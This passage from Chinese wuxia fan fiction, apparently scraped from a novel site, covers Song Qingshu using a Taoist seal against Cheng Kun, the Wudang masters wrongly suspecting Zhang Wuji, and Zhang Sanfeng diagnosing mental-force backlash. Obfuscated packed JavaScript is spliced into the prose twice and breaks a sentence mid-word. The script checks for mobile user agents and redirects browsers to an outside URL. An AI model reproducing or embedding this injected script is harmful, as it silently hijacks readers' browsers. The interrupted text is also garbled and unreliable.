果然,陈友谅见二人斗得难解难分,眼中闪过一丝狡黠,悄悄绕到侧方,忽然出手,一掌拍向莫声谷左肋。这一掌无声无息,却蕴含着十成功力,正是他苦练多年的“穿心掌”。 “七叔小心!”宋青书失声惊呼。 莫声谷临敌经验丰富,早已留意陈友谅动向,见他一掌袭来,长剑回旋,一招“绕指柔”剑尖颤动如灵蛇,反刺陈友谅掌心劳宫穴。陈友谅若不收掌,掌心必被刺穿。 然而成昆岂会放过这个机会?就在莫声谷分心应对陈友谅的瞬间,他身形暴起,幻阴指连点莫声谷背后三处大穴,指风破空,发出嗤嗤声响。 前后夹击! 莫声谷腹背受敌,危急关头显露出武当七侠的真功夫。只见他身形忽然一矮,长剑划出一个完美的圆弧,剑光如环护住全身,正是武当绝学“太极剑圈”。成昆的指力与陈友谅的掌风撞在剑圈上,发出沉闷的爆响,莫声谷闷哼一声,连退三步,嘴角溢出一丝鲜血,但终究挡住了这必杀的一击。 “好一个太极剑圈!”成昆狞笑道,“可惜,你能挡得住几次?” 说话间,攻势更急。陈友谅也全力出手,二人一前一后,配合默契,显然早有预谋。莫声谷虽勉力支撑,剑法不乱,但明眼人都看得出,他已落入绝对下风。成昆的武功本就不在他之下,加上一个陈友谅,败亡只是时间问题。 宋青书看得目眦欲裂。这情景何其熟悉!前世,就是这样,他与陈友谅联手围攻莫声谷,最终……不!绝不能重演! “青书,快走!”莫声谷一剑逼退成昆,转头对宋青书厉声喝道,“回武当报信!快!” 他说话时分心,陈友谅觑准破绽,一掌印在他右肩。莫声谷身形一晃,长剑几乎脱手,却咬牙硬挺,反手一剑刺向陈友谅小腹,逼得对方疾退。 “走啊!”莫声谷嘶声吼道,眼中已现决绝之色。他已存了拼死拖住二人,为宋青书争取一线生机的念头。 宋青书浑身颤抖,双腿如同灌了铅,动弹不得。走?他怎么能走?前世他已逃过一次,害死了七叔。今生还要七叔为了他而枉死吗? 不!绝不! 可他如今内力全失,与普通人无异,如何能帮得上忙?冲上去不过是送死…… 就在这千钧一发之际,莫声谷左腿中了成昆一指,闷哼一声,单膝跪地,全靠长剑支撑才未倒下。陈友谅见状大喜,纵身扑上,双掌齐出,直取莫声谷天灵盖! 完了! 宋青书脑中一片空白,前世莫声谷倒在血泊中的画面与眼前情景重叠,强烈的恐惧与悔恨如潮水般将他淹没。就在这生死关头,他忽然想起沈前辈临别时送的那本道家结印手册——他偶然翻了几页,觉得实在是晦涩难懂,便打算回去好好请教太师父。 后来他又试着比划了计划,无意发现几个简单手势能与念力产生共鸣。 其中有一个手势,名曰“破妄印”,旁边小字注解:“凝心聚神,破妄求真,可击虚妄,镇邪祟”。当时他只是觉得有趣,随手比划,却隐约感到指尖有微弱气流。 此刻,眼看莫声谷就要毙于陈友谅掌下,宋青书什么也顾不上了。他按照记忆中的图案,双手艰难地结印——右手食指中指并拢伸直,无名指小指屈曲,拇指压住无名指指甲;左手掌心向上,托住右手腕部。这个手势他练过无数次,但从未真正用以对敌。 “破!” 宋青书用尽全身力气,嘶哑地喝出一个字,将刚刚恢复的那点微弱念力尽数灌注于手印之中,朝着陈友谅的方向推出。 什么也没发生。 不,并非什么都没发生。就在宋青书几乎绝望之时,他感到眉心深处传来一阵剧烈的刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噗——”成昆如遭重锤,倒飞出去,落地时连退七八步才勉强站稳,脸色煞白,胸口僧衣上赫然印着一个焦黑的痕迹,隐隐有青烟冒出。 “这……这是……”成昆眼中终于露出恐惧。他能感觉到,那股力量并非普通内力,而是一种直击神魂的诡异能量,他苦修数十年的混元功竟无法完全防御! 陈友谅挣扎着爬起,见成昆也吃了亏,心知今日难以讨好,低声道:“大师,此地不宜久留!这两个人有些邪门,咱们从长计议!” 成昆死死盯着宋青书,眼中神色变幻不定,最终咬牙道:“走!” 两人不敢停留,纵身跃入林中,几个起落便消失不见。 确认敌人真的离去后,宋青书紧绷的神经骤然放松,那股支撑着他的力量如潮水般退去。他只觉天旋地转,眼前一黑,软软倒下。 “青书!”莫声谷强忍伤痛扑过来,在他倒地前将其接住。 怀中之人面色苍白如纸,呼吸微弱,额头上布满冷汗,眉心处竟隐隐有一道青色的细线,若隐若现。莫声谷心中大骇,忙探他脉息——脉象虚弱紊乱,时有时无,更有一股阴寒之气在经脉中乱窜,与武当纯阳内功格格不入,甚至相互冲突。 “该死!”莫声谷低骂一声,知道宋青书这是强行念力遭到反噬。 可是师父曾经嘱咐过不能对青书输内力,可是难道就这样干看着。 他嘴角紧抿着,立即盘膝坐下,将宋青书扶正,双掌抵在其背心“灵台穴”上,催动武当九阳功,将纯阳内力缓缓注入。 可是莫声谷的内力甫一进入宋青书体内,便与那股阴寒之气激烈冲突,宋青书虽在昏迷中,仍痛苦地呻吟出声,身体不住颤抖。 “忍住!”莫声谷咬牙,加大内力输出。他知道这样做风险极大,两股力量在宋青书脆弱的经脉中对撞,稍有不慎就会造成永久损伤。但若不及时驱除阴寒之气,只怕会伤及神魂根本,那才是真正的回天乏术。 时间一点点过去,莫声谷额头渗出豆大的汗珠。他本就受伤不轻,此刻又要分心为宋青书疗伤,内力消耗极大。但他硬是撑着一口气,不敢有丝毫松懈。 约莫过了一炷香时间,宋青书体内的阴寒之气终于被驱散了一些,脉象稍稍平稳。莫声谷这才收回双掌,自己也几乎虚脱,靠在树干上大口喘息。 他低头看着昏迷不醒的侄儿,眼神复杂。方才宋青书所使的,绝非武当武功,甚至不似任何正派功夫,倒有几分邪道法术的诡异。可偏偏就是这诡异的招数,救了他们二人的性命。 莫声谷伸手擦去宋青书额头的冷汗。 59. 蒙冤已白夜阑珊2 夜幕降临,山谷中升起薄雾。莫声谷知道不能在此久留,成昆和陈友谅虽然退走,但难保不会去而复返,或是召集帮手。他强撑起身体,将宋青书背在背上,辨认方向后,朝武当山相反的一处隐秘山坳走去。 那里有一处猎户遗弃的木屋,他昨天走过来时偶然发现,位置隐蔽,适合暂避。 山路崎岖,莫声谷又受了伤,背上还背着一个人,走得十分艰难。但他硬是凭着过人的意志力,在月上中天时,终于抵达了那处木屋。 木屋久无人居,到处是灰尘蛛网。莫声谷简单打扫出一块地方,铺上干草,将宋青书小心放下。他又在屋外仔细消除了足迹痕迹,这才回屋,点燃带来的火折子,生起一小堆火。 火光跳动,映照着宋青书苍白的脸。莫声谷就着火光仔细检查他的情况——呼吸平稳了些,但眉心那道青线仍未完全消退,像是某种印记。 “道门结印……难道是失传已久的道家法术?”莫声谷皱眉思索。武当虽是道家门派,武功也蕴含道家至理,但真正玄奥的法术早已失传数百年,如今江湖上流传的不过是一些装神弄鬼的障眼法。可宋青书今日所使,分明是能伤及一流高手的真正法术! 这背后牵扯太大。若是让江湖中人知道宋青书身怀失传法术,只怕会引来无数觊觎,甚至给武当带来灾祸。 “此事,必须要告诉师父和大哥他们。”莫声谷下定决心,在回武当禀明师尊和大师兄之前,绝不能让第三个人知道。 他取下水囊,喂宋青书喝了几口水,又检查了自己的伤势。左腿被成昆的幻阴指所伤,阴寒内力侵入经脉,需以纯阳内力慢慢驱除;右肩中了陈友谅一掌,骨裂筋伤,好在不算太重。最麻烦的是内腑受震,需要时间调养。 “成昆……陈友谅……”莫声谷眼中寒光闪烁。这两个奸贼不但图谋丐帮,还敢对他们武当弟子下手,此仇必报! 夜深了,山风从木屋的缝隙灌入,带着深秋的寒意。莫声谷往火堆里添了几根柴,守在宋青书身边,闭目调息。他的耳朵却竖着,时刻警惕着外面的动静。 不知过了多久,宋青书忽然发出一声呻吟,缓缓睁开了眼睛。 “七……叔……”声音微弱嘶哑。 “别动。”莫声谷按住他,“你伤得很重,需要静养。” 宋青书艰难地转头,看到莫声谷疲惫而关切的面容,心中一酸:“七叔,您没事吧?” “我无碍,都是皮外伤。”莫声谷淡淡道,“倒是你……” 宋青书道:“侄儿……侄儿……” 莫声谷把宋青书慢慢地放在有干草铺着的地上道:“不必多说,好好休息。” 莫声谷接着说:“下次我让你走,你就走!你若死在这里,我如何向你父亲交代?向师父交代?” 宋青书听出了其中的关切与后怕。 他眼眶发热,低声道:“七叔……” 莫声谷点点头,从怀中取出一个瓷瓶,倒出两粒丹药:“这是本门的‘九转护心丹’,服下后运功调息,有助于恢复元气。” 宋青书依言服下丹药,然而他还是感到经脉中传来阵阵刺痛,仿佛有无数细针在扎。更糟糕的是,眉心处那道青线又开始隐隐发热,与刚才莫声谷所输武当纯阳内力格格不入。 原来宋青书能够醒来还是因为莫声谷所输的内力与他体内力量激荡之故,实是治标不治本。 宋青书闭上眼睛, 莫声谷探他气息,越来越弱。每一次呼吸都轻得几乎无法察觉,脸色苍白如纸,若非胸口还有极其微弱的起伏,几乎与死人无异。 “青书?青书!”莫声谷轻拍他的脸颊,触手处一片冰凉。宋青书毫无反应,只有眉心那道青线在昏暗的火光下幽幽发亮,显得诡异非常。 莫声谷的心沉了下去。他虽不是医道圣手,但行走江湖多年,见识过各种伤势。宋青书此刻的状态,分明是本源受损,精气神三宝衰竭。那古怪手印的反噬,比他预想的还要严重得多。 “必须尽快回武当!”莫声谷咬牙自语。武当山上有师尊张三丰这位当世第一人,有精通医道的大师兄宋远桥,或许还有一线生机。但此地距离武当尚有几百余里,以宋青书现在的状态,根本经不起长途跋涉。 他低头看着气息奄奄的侄儿,一个念头在脑中闪过:需要马车!若有一辆铺着软垫的马车,或许能最大限度减少颠簸,将宋青书平安送回武当。 可这荒山野岭,去哪里找马车? 莫声谷站起身,走到木屋破旧的窗边向外望去。夜色深沉,月光被乌云遮蔽,山林间一片漆黑。他记得来时曾在十里外见过一个小村庄,或许那里能有马车,或者至少能找到一辆牛车。 这决定极为冒险。留下重伤昏迷的宋青书独自在此,万一成昆、陈友谅去而复返,或是遇到野兽,后果不堪设想。但若不带他走,自己往返村庄的时间,宋青书的状态可能进一步恶化。 两难之间,莫声谷额头上渗出细密的汗珠。他环顾木屋,这屋子虽然破败,但墙壁还算结实,门窗尚可关闭。他将宋青书移到最角落的位置,用干草铺了厚厚一层,又脱下自己的外袍盖在他身上。 “青书,你千万要撑住。”莫声谷低声说道,伸手探了探宋青书的脉搏,那微弱的跳动让他心头发紧,“七叔去去就回,一定会带你回家。” 他起身在屋中搜寻,找到一根还算结实的木棍,削尖了握在手中。又将火堆添了些柴,让火光能持续更久。最后,他深深看了宋青书一眼,推开门,身影迅速没入黑暗之中。 木屋重归寂静,只有柴火燃烧时偶尔发出的噼啪声。宋青书静静躺在角落,呼吸微弱得几乎停止。眉心那道青线时明时暗,仿佛有什么东西在他体内挣扎。 约莫过了一炷香时间,屋外忽然传来细微的脚步声,由远及近。 木门被轻轻推开,两道身影一前一后走了进来。走在前面的是一名身着男装的俊秀公子,手持折扇,眉眼间带着几分狡黠灵动;跟在后面的则是个二十出头的青年,面容朴实,眼神却清澈明亮,正是易容后的赵敏与张无忌。 “无忌哥哥,你看这里!”赵敏指着地上的痕迹,“有打斗的痕迹,还有血迹。这火堆也是刚熄灭不久,这里刚才一定有人。” 张无忌蹲下身,仔细查看地面。他虽不擅长追踪,但九阳神功大成后五感敏锐,能察觉到常人难以注意的细节。“有两拨人,一拨刚走不久,另一拨……”他的目光落在角落的干草堆上,忽然顿住,“那里有人!” 话音未落,他身形一闪,已掠至角落。只见一个青年躺在干草堆上,面色苍白如死,正是宋青书。 “青书师兄?!”张无忌失声惊呼。他与宋青书虽无深交,但毕竟是同门,见对方这般模样,心中大惊。正要上前查看,眼角余光却瞥见一条通体赤红的小蛇正从宋青书衣襟中缓缓爬出,三角形的蛇头高高昂起,吐着信子,显然是剧毒之物。 那赤练蛇似乎被惊动,猛地弓身,便要朝宋青书脖颈咬去! 张无忌不及细想,手腕一翻,一柄随身携带的飞刀脱手而出。飞刀精准无比地钉在赤练蛇七寸处,将其死死钉在地上。蛇身扭曲挣扎几下,便不动了。 就在这时,屋外忽然传来数声怒喝:“住手!” “无忌!你在做什么?!” 四道身影如风般冲进屋内,正是武当四侠:宋远桥、俞莲舟、张松溪、殷梨亭。他们本是接到神秘传信,说“门户有变,亟须清理”,一路追踪到此,却不料撞见张无忌对宋青书“出手”的一幕。 宋远桥一眼看见躺在角落、面色惨白如纸的儿子,又看见张无忌手中飞刀刚刚掷出,在那一瞬间,身为父亲的惊恐与愤怒压倒了一切理智——他以为张无忌是要对宋青书下杀手! “张无忌!你……你竟敢对青书下手?!”宋远桥声音颤抖,眼中几乎喷出火来。他身形一晃,已挡在宋青书身前,双掌微微抬起,竟是摆出了武当绵掌的起手式 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赵敏不怒反笑,折扇轻摇:“我迷惑他?张教主神功盖世,心志坚定,岂是我能迷惑的?倒是你们,口口声声说是无忌哥哥的师叔,却连最基本的信任都没有。见到他出手,不问缘由就认定是杀人,真是可笑!” “你!”张松溪气急,便要出手。 “四弟且慢!”俞莲舟喝止,他虽也愤怒,但终究比旁人冷静些。赵敏的话点醒了他——他们确实没有检查宋青书的状况。 宋远桥也回过神来,强压怒火,转身蹲下,颤抖着手去探宋青书的鼻息。这一探,他脸色大变——气息全无!再摸脉搏,也是死寂一片! “青书……青书!”宋远桥的声音陡然凄厉,这位一向沉稳的武当掌门大弟子,此刻竟如寻常丧子老人般悲恸欲绝,“我的儿啊!” “大师兄!”俞莲舟三人见状,都是心中一沉。张松溪上前一步,也探了探宋青书的脉搏,脸色瞬间苍白:“真的……没气了……” 四道目光齐刷刷射向张无忌,那目光中的悲痛、愤怒、失望,几乎要将他刺穿。 张无忌如遭雷击,连连后退:“不可能……我刚才明明看到青书师兄还有呼吸……那条蛇……”他忽然想起什么,冲上前去,“让我看看!” “站住!”宋远桥一掌拍出,掌风凌厉。张无忌不敢还手,只得侧身避过,却仍被掌风扫中胸口,闷哼一声,嘴角渗出血丝。 赵敏扶住他,怒视武当四侠:“你们真是疯了!张无忌若真要杀宋青书,何必用飞刀?直接一掌了结不是更简单?更何况,他与宋青书无冤无仇,为何要杀他?” “无冤无仇?”俞莲舟冷冷道,“青书曾心系周姑娘,而周姑娘心中所系却是无忌。这等儿女情长,最易酿成大祸。” 张无忌闻言,浑身一震。他看向几位师叔,看着他们眼中毫不掩饰的怀疑与痛心,想起自己自幼失去父母,被武当收养的恩情,想起太师父张三丰的慈爱,想起几位师叔伯从小对自己的照料……可如今,他们却认定自己是个残害同门的凶手。 巨大的委屈如潮水般涌上心头。张无忌忽然觉得,这世间所有的误解、所有的冤屈,仿佛都集中在了这一刻。他想起了父母被六大派逼死的惨状,想起了自己在光明顶上被众人围攻的场景,想起了无数次的被误解、被背叛…… “原来……被至亲之人误会,是这种感觉。”张无忌喃喃自语,眼中闪过一丝绝望。他缓缓抽出腰间长剑,剑身映着跳动的火光,也映出他苍白的面容。 “无忌,你要做什么?”赵敏惊道。 张无忌凄然一笑:“既然师叔伯们认定是我杀了青书师兄,那无忌就以死明志。只盼我死后,你们能查明真相,还青书师兄一个公道,也还我……一个清白。” 话音未落,长剑已横在颈前! “不要!”赵敏惊呼,伸手去夺剑,却慢了一步。 “无忌住手!”俞莲舟和殷梨亭身形急掠。 60. 蒙冤既白夜阑珊3 然而就在剑锋即将割破皮肤的刹那,一个清冷的女声响起:“张无忌,你若现在自刎,才是真正的愚蠢!” 赵敏的声音并不大,却如冰水般浇在张无忌心头。她一步踏前,直视张无忌的双眼:“你以为死了就能证明清白?错了!你若现在死了,你的几位师叔只会以为你是畏罪自杀,这罪名就真的坐实了!到时候,你父母在九泉之下如何瞑目?你太师父百年之后,世人又会如何评说武当?” 张无忌的手僵住了。赵敏的话如当头棒喝,让他混乱的思绪清醒了几分。 赵敏又转向武当四侠,语气讥诮:“亏你们还是成名多年的大侠,连最基本的查证都不做,就凭主观臆断定罪。你们看看宋青书的尸体——如果他是刚被飞刀所杀,伤口呢?血迹呢?飞刀钉死的是毒蛇,不是他!你们就不觉得奇怪吗?” 这番话有理有据,武当四侠面面相觑。宋远桥强忍悲痛,再次仔细检查宋青书。这一次,他发现了异常——宋青书身体虽然冰冷,但并非尸僵的僵硬,反而还保持着些许柔软。而且,眉心那道若隐若现的青线,怎么看都不寻常。 “这……这是……”宋远桥忽然想起武当典籍中记载的一种状态,“龟息功?” “龟息功?”俞莲舟等人也是一惊。龟息功乃道家秘法,能让人陷入假死状态,呼吸脉搏全无,但生机未绝。只是这门功夫早已失传多年,宋青书怎么会? 张无忌此时也回过神来。他想起六师叔殷梨亭曾说过,宋青书走火入魔后,体内阴阳失调,唯有至阳至刚的九阳神功才能助他恢复平衡。当下再不犹豫,推开赵敏,冲到宋青书身边。 “无忌,你要做什么?”宋远桥警惕道。 “大师伯,让我试试。”张无忌沉声道,“那次在一线峡,六叔曾说过只有我的九阳神功对青书师兄是有效的。他此刻或许并非真的死去,而是陷入龟息自保。让我以九阳神功试试,或许还有救!” 宋远桥犹豫了。他看着张无忌诚恳而焦急的眼神,又看看儿子惨白的脸,最终咬了咬牙:“好,你试!但若你有半点异动……” “大师伯放心,若有异动,任凭处置。”张无忌郑重说道。 他盘膝坐下,将宋青书扶起,双掌抵在其背心。九阳神功缓缓运转,至阳至纯的内力如暖流般注入宋青书体内。 起初,内力如石沉大海,毫无反应。张无忌不放弃,持续加力。约莫过了一盏茶时间,宋青书身体忽然微微一颤,眉心青线淡了一点点! “有效!”殷梨亭喜道。 张无忌精神一振,九阳神功催至极致。 两股力量在宋青书经脉中交锋,宋青书身体剧烈颤抖起来,额头上渗出冷汗。张无忌不敢怠慢,小心翼翼控制着内力,既要驱除阴寒,又不能伤及宋青书本就脆弱的经脉。 时间一分一秒过去,屋中所有人都屏住呼吸,紧张地看着。赵敏手持折扇,看似轻松,实则已暗中扣住几枚暗器,以防万一。 忽然,宋青书喉咙里发出一声轻响,眼皮动了动,缓缓睁开。 “青书!”宋远桥喜极而泣,扑上前去。 宋青书眼神涣散,过了好一会儿才聚焦。他看见父亲焦急的面容,看见几位师叔关切的眼神,看见张无忌满头大汗地为自己运功,看见赵敏站在一旁…… 记忆如潮水般涌回。他想起自己以破妄印击退成昆和陈友谅,想起力量反噬后的剧痛,想起七叔莫声谷为自己疗伤,想起七叔离开前说的话…… 然后,他看见父亲眼中的泪光,看见几位师叔对张无忌的警惕姿态,瞬间明白了——这一幕,前世虽未发生,但他能猜到发生了什么。定是师叔们误会张无忌伤了自己! “爹……师叔……”宋青书声音嘶哑微弱,每说一个字都仿佛用尽全身力气。 “青书,你别说话,好好休息。”宋远桥握住他的手,老泪纵横。 宋青书却摇了摇头,目光转向张无忌,又看向几位师叔,艰难地说道:“不是……无忌……也不是七叔……是我自己……受的伤……” 说完这句话,他眼前一黑,再度昏死过去。 屋中一片寂静。 武当四侠都愣住了。宋青书亲口为张无忌澄清,这比任何证据都有力。再联想到方才种种疑点——没有伤口,飞刀杀蛇,龟息状态…… “我们……错怪无忌了。”俞莲舟第一个反应过来,脸上露出愧疚之色。 张松溪和殷梨亭也是面露尴尬。宋远桥更是羞愧难当,他刚才险些对张无忌下重手,还认定对方是杀害自己儿子的凶手。 “无忌,师伯……师伯对不住你。”宋远桥站起身,对着张无忌深深一揖,“我不问青红皂白就冤枉你,险些酿成大错。你若要怪,就怪师伯吧。” 张无忌连忙扶住他:“大师伯快别这么说!您也是关心则乱,青书师兄生死未卜,您着急是人之常情。无忌……无忌不怪您。” 他嘴上这么说,心中却仍有些酸楚。方才那一刻,他是真的感到了彻骨的寒意。 俞莲舟也走上前,拍了拍张无忌的肩膀:“无忌,是二师伯糊涂了。你为救青书耗费内力,我们却误会你,实在不该。” 张松溪和殷梨亭也纷纷道歉。张无忌一一回应,心中却想:若是敏敏不在,若是我真的自刎了,这误会恐怕永远也解不开了。 赵敏冷眼看着这一幕,忽然开口道:“好了,误会解开便好。现在当务之急是弄清楚到底发生了什么。宋青书怎么会受这么重的伤?莫七侠又去了哪里?还有墙上那些字迹——‘门户有变,亟须清理’,是谁留下的?” 一连串问题让武当四侠清醒过来。是啊,他们是被那神秘字迹引来的,而宋青书重伤在此,莫声谷不知所踪,这其中必有隐情。 宋远桥再次检查宋青书的状况,发现他虽然又昏迷过去,但气息比之前平稳了许多,脉搏也有了微弱但持续的跳动。张无忌的九阳神功确实有效。 “无忌,青书的伤势如何?”宋远桥问道。 张无忌皱眉道:“青书师兄体内有一股极其阴寒的力量,与武当纯阳内功格格不入,甚至相互冲突。我以九阳神功暂时压制住了那股阴寒之气,但若要根除,恐怕还需要很久。” “阴寒之力?”俞莲舟若有所思,“难道是中了什么阴毒掌力?可是江湖上能有如此阴寒掌力的,除了玄冥二老,也就……” “混元霹雳手成昆。”张松溪接口道,脸色凝重。 众人心中都是一凛。成昆此人阴险狡诈,武功高强,若真是他出手,那事情就复杂了。 “还有陈友谅。”殷梨亭补充道,“丐帮那边传来消息,史火龙帮主被救出后,揭露了陈友谅与成昆勾结的阴谋。七弟和青书救了史帮主,定是遭了他们的报复。” “所以是成昆和陈友谅围攻七弟和青书?”宋远桥眼中寒光闪烁,“那七弟现在何处?他若平安,绝不会丢下青书独自离开!” 这话提醒了众人。莫声谷与宋青书情同父子,若他平安,绝不可能让重伤的宋青书独自在此。除非……他也出了事! “我们分头找!”俞莲舟当机立断,“松溪,你轻功好,在附近搜寻踪迹。六弟,你仔细检查这屋子内外,看有没有其他线索。大师兄,你守着青书。我……”他看向张无忌和赵敏,犹豫了一下,“无忌,你能否帮忙寻找七弟?” 张无忌点头:“二师伯放心,我一定尽力。” 赵敏却道:“等等。你们不觉得这一切太巧了吗?我们被字迹引到这里,正好撞见张无忌‘杀’宋青书的一幕。而武当四侠也在同一时间赶到,看见的也是这一幕。这分明是有人设局,想要挑拨武当内讧,甚至借你们之手除掉张无忌!” 众人闻言,都是一惊。仔细想来,确实太过巧合。 “是谁有这么大的本事,能同时将我们和无忌引到此地?”张松溪皱眉。 赵敏折扇轻摇,嘴角勾起一丝冷笑:“谁最希望武当内乱?谁最希望张无忌死?谁又能模仿武当的笔迹,写下‘门户有变,亟须清理’这样的字迹?” 一连三问,答案呼之欲出。 “成昆!”众人异口同声。 “不错。”赵敏点头,“成昆此人最擅挑拨离间,当年六大派围攻光明顶,就是他一手策划。如今他控制丐帮的阴谋被武当破坏,怀恨在心,设下此局也不奇怪。只是……” “只是什么?”殷梨亭追问。 赵敏看向宋青书,眼神深邃:“只是我很好奇,以成昆和陈友谅的武功,莫七侠和宋青书是如何逃脱的?宋青书身上的伤,又到底是什么造成的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109879|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个问题,恐怕只有等宋青书和莫声谷醒来才能解答了。 就在这时,屋外忽然传来一阵马蹄声和车轮滚动声。众人警觉地向外望去,只见一辆简陋的马车正朝木屋驶来,驾车之人赫然是莫声谷! “七弟!”武当四侠惊喜交加,纷纷迎出。 莫声谷跳下马车,见四位师兄都在,先是一愣,随即急道:“师兄们怎么在这里?青书呢?他怎么样了?” “七弟放心,青书还活着。”宋远桥说道,“倒是你,去了哪里?怎么会弄来这辆马车?” 莫声谷松了口气,随即快速说道:“青书伤势太重,必须尽快回武当医治。我去附近村子找了这辆马车。青书现在如何?我刚才离开时,他情况很不好……” “无忌以九阳神功为他疗伤,暂时稳住了伤势。”俞莲舟简单将刚才发生的误会说了一遍。 莫声谷听完,又惊又怒:“成昆这恶贼,害了青书不够,还想挑拨我们武当内讧!幸亏无忌和赵姑娘明辨是非,否则……”他不敢想下去,对着张无忌郑重一揖,“无忌,七叔代你几位师叔向你赔罪。今日之事,是我们糊涂了。” 张无忌连忙还礼:“七师叔言重了。现在最重要的是青书师兄的伤势,还有查明成昆和陈友谅的阴谋。” 众人点头。当下决定,由莫声谷和宋远桥护送宋青书乘马车回武当,俞莲舟、张松溪、殷梨亭三人则在附近继续搜寻成昆和陈友谅的踪迹。张无忌和赵敏也表示要一同寻找。 临行前,宋远桥看着昏迷的儿子,又看看张无忌,心中百感交集。他走到张无忌面前,从怀中取出一块玉佩,塞到张无忌手中:“无忌,这块玉佩是你父亲当年留给我的信物。今日师伯冤枉了你,无颜见你,只盼你收下此物,日后若有什么难处,武当上下必全力相助。” 张无忌推辞不受,宋远桥却坚持要给。最后在赵敏的示意下,张无忌才收下玉佩。 马车缓缓驶离木屋,向着武当山方向而去。宋远桥抱着昏迷的儿子,莫声谷驾车,两人心中都是沉甸甸的。 而木屋这边,俞莲舟等人开始仔细搜查。张松溪在屋后发现了一些杂乱的脚印,其中有两对脚印深而稳,显然是高手所留,应该就是成昆和陈友谅。还有一对脚印较浅,离开的方向与马车相同,是莫声谷的。 成昆和陈友谅都受了宋青书的攻击,为什么还能走动,一来是宋青书第一次使出结印的功法,所以并不醇熟,另一则是二人素来是诡计多端,他们见害莫声谷和宋青书不成,于是将计就计,一泄心头之恨。 但除此之外,还有第四个人的脚印! 这脚印很轻,几乎难以察觉,若非张松溪追踪术高明,根本发现不了。而且这脚印只在屋外转了一圈,并未进屋,仿佛只是在窥探。 “有人一直在暗中监视。”张松溪沉声道。 赵敏蹲下身,仔细观察那脚印,忽然道:“这是个女子。” “女子?”众人惊讶。 “不错,你们看这脚印的尺寸和步幅。”赵敏指着地面,“虽然故意放轻了脚步,但步幅较小,落脚点偏内,这是女子走路的习惯。而且……”她嗅了嗅空气中的气味,“有淡淡的脂粉香气,虽然很淡,但确实存在。” 张无忌也蹲下来,他九阳神功大成后五感敏锐,确实闻到了一丝极淡的香气。“会是谁?” 赵敏眼中闪过一丝异色:“能够跟踪成昆和陈友谅,又不被他们发现,还能在我们和武当四侠到来时悄然隐匿……这样的轻功和隐匿术……” “你知道是谁?”殷梨亭问道。 赵敏没有直接回答,而是起身望向远山,喃喃道:“如果真是她,那事情就更有意思了。” 天色渐亮,东方泛起鱼肚白。一夜惊变,误会与真相交织,阴谋与算计暗藏。而宋青书在昏迷中,眉心那道青线幽幽闪烁,仿佛在预示着什么。 马车颠簸在山道上,宋青书在昏迷中眉头微皱,仿佛在经历着什么梦境。前世的记忆与今生的经历交织在一起,成昆、陈友谅、莫声谷、张无忌、赵敏……一张张面孔在脑海中闪过。 他知道,自己已经改变了一些事情。七叔还活着,但成昆和陈友谅还在暗处,更大的阴谋可能还在酝酿。 武当山,越来越近了。 61. 蒙冤既白夜阑珊4 晨钟暮鼓声中,马车沿着蜿蜒山道缓缓驶入山门。早有弟子在门口等候,见马车到来,立刻有人飞奔去禀报,有人上前协助搀扶。 宋远桥抱着昏迷不醒的宋青书下了马车,莫声谷紧随其后,两人面上都带着难以掩饰的疲惫与忧虑。张无忌、俞莲舟、张松溪、殷梨亭虽未同车,也快马加鞭赶回,几乎与马车同时抵达。 “快,送青书去宁心堂!”宋远桥沉声吩咐,脚步不停,径直朝紫霄宫深处走去。 莫声谷正要跟上,却被俞莲舟拉住:“七弟,你的伤……” “我无碍。”莫声谷摇头,目光始终追随着宋远桥怀中那个苍白的身影,“我要守着青书。” “先去见师父。”张松溪拍拍他的肩,“师父已在真武殿等候。” 真武殿内,张三丰须发皆白,身着青色道袍,负手立于真武大帝像前。这位当世第一人已年过百岁,却依旧精神矍铄,只是此刻眉头微蹙,眼中带着几分凝重。 “师父!”宋远桥抱着宋青书入殿,声音急切,“青书他……” 张三丰转过身,目光落在宋青书身上,只一眼,便神色微变。他快步上前,探手按在宋青书额前,片刻后,又搭上其脉搏,闭上眼睛细细感应。 殿中一片寂静,所有人都屏住呼吸。莫声谷站在最外侧,双手不自觉地紧握成拳,指甲几乎掐进肉里。 良久,张三丰睁开眼,长叹一声:“果然如此。” “师父,青书他到底……”宋远桥声音发颤。 “抱他去宁心堂。”张三丰没有直接回答,率先向殿后走去。 宁心堂位于紫霄宫最深处,是武当弟子闭关疗伤的所在,清净隐蔽。宋远桥将宋青书轻轻放在铺着软垫的榻上,张三丰再次仔细检查。 这一次,他看得更加仔细。从宋青书的眉心那道若隐若现的青线,到指尖残留的微弱气息,甚至翻开他的眼睑观察瞳孔。 “念力反噬。”张三丰终于开口,语气中带着罕见的自责,“还是要怪为师,之前没有嘱咐你们。” “念力反噬?”宋远桥等人面面相觑,不明所以。 张三丰在榻边坐下,缓缓道:“青书的念力是一种极为罕见的天赋,不同于内力真气,而是源自精神与灵魂的力量。在道家典籍中,称其为‘神识’或‘元神之力’。” 他顿了顿,继续解释:“念力玄奥,可内视己身,外感天地,修行至高深处,甚至能隔空取物、预知吉凶。但念力有其铁则——只能用于探查、守护、疗愈等非攻伐之事。若以念力伤人,必遭反噬,轻则神魂受损,重则魂飞魄散。” 莫声谷心中一震,想起宋青书那日结印时指尖迸发的青色光芒,想起成昆被击中后惊骇的表情。“所以青书是为了救我,用了攻击性的念力手法,才遭此反噬?” 张三丰点头,眼中闪过一丝痛惜:“而且,青书所用的手法,并非普通念力外放,而是一种更为古老、更为霸道的‘结印’之术。”他看向宋远桥,“青书最近可曾接触过什么古老典籍?” 